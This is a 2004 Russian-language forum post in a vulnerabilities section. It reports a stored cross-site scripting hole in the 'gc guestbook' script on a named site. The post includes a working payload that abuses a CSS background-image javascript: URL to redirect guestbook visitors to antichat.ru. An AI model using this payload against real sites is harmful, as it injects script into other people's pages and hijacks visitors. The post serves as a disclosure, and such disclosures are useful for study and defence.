Уязвимость гостевой книги   gc guestbook

Discussion in 'Уязвимости' started by Егорыч+++, 12 May 2004.

  1. Егорыч+++

    Staff Member

    Joined:
    27 May 2002
    Messages:
    1,373
    Likes Received:
    895
    Reputations:
    20
    Еще один пример для того , что ошибки продолжают делать в программах до сих пор. Адрес скрипта:

    http://www.gamescool.com/gcguestbook/

    В тело сообщения можно вставить все что угодно (мы как всегда устанавливаем редирект).

    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">><a style=background-image:url(javascript:navigate('http://antichat.ru'));>ups</a>[/QUOTE]<span id='postcolor'>

    и опять попадаем на сайт АНТИЧАТ.